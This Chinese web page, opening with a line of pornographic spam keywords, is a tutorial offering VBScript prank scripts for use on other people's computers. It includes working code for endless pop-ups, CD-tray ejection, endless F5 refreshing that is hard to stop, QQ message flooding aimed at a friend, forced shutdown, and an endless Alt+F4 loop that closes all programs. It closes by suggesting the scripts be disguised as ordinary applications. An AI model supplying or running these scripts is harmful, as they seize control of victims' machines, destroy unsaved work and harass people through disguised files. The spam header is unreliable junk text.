欧美性猛交XXXX免费看蜜桃,成人网18免费韩国,亚洲国产成人精品区综合,欧美日韩一区二区三区高清不卡,亚洲综合一区二区精品久久

編寫(xiě)vbs有多簡(jiǎn)單？新建“文本文檔”，輸入msgbox '一大波病毒正在靠近...'，點(diǎn)擊文件->另存為->重命名為“代碼.vbs”。文件名不重要，重要的是后綴要是“.vbs”。

雙擊保存的文件：代碼.vbs，即彈出一個(gè)對話(huà)框。記下這段小小的代碼，去惡搞吧。你還可以輸入其他有趣的文字。

當然，如此惡搞還是不夠的。那就來(lái)一個(gè)無(wú)限循環(huán)吧，輸入圖中代碼另存為vbs格式。雙擊打開(kāi)。此時(shí)，會(huì )彈出提示對話(huà)框，點(diǎn)擊確定和關(guān)閉按鈕之后，再一次彈出窗口，如此循環(huán)，無(wú)法正常關(guān)閉。

那么到底要如何才能關(guān)閉呢？打開(kāi)任務(wù)管理器結束進(jìn)程“wscript.exe”即可

以上是一些比較簡(jiǎn)單的代碼，下面就是稍微有些難度的：

無(wú)限彈出光驅?zhuān)?/strong>

set wmp=createobject('wmplayer.ocx')

set cd=wmp.cdromcollection.item(0)

do

cd.eject

loop

無(wú)限語(yǔ)音報數：

Set s = CreateObject('sapi.spvoice')

i=0

do

s.speak i

i=i 1

loop

無(wú)限刷新：

慎用，如此刷新打開(kāi)任務(wù)管理器都難，只能拔掉電源。

set ws=createobject('wscript.shell')

do

ws.sendkeys '{f5}'

loop

QQ信息騷擾：

打開(kāi)好友的聊天對話(huà)框，然后記下聊天對話(huà)框的名稱(chēng)（如圖：九悲），把下面代碼里的小敏替換一下。代碼中的“20”代表發(fā)送次數，把10修改一下就可以自定義發(fā)送QQ信息到好友的次數。把發(fā)送的內容“復制”即可，當打開(kāi)本vbs的時(shí)候就會(huì )把剪切板里的內容粘貼發(fā)送過(guò)去。

On Error Resume Next

Dim wsh,ye

set wsh=createobject('wscript.shell')

for i=1 to 20

wscript.sleep 700

wsh.AppActivate('九悲')

wsh.sendKeys '^v'

wsh.sendKeys i

wsh.sendKeys '%s'

next

wscript.quit

直接關(guān)機：

dim WSHshell

set WSHshell = wscript.createobject('wscript.shell')

WSHshell.run 'shutdown -f -s -t 00',0 ,true

不斷按下ALT F4：

關(guān)閉打開(kāi)的所有程序

dim WSHshell

set WSHshell = wscript.createobject('wscript.shell')

do

wscript.sleep 2500

WSHshell.SendKeys '%{F4}'

loop

這些代碼保存為vbs后還可以通過(guò)創(chuàng )建快捷方式偽裝成各種各樣的應用程序。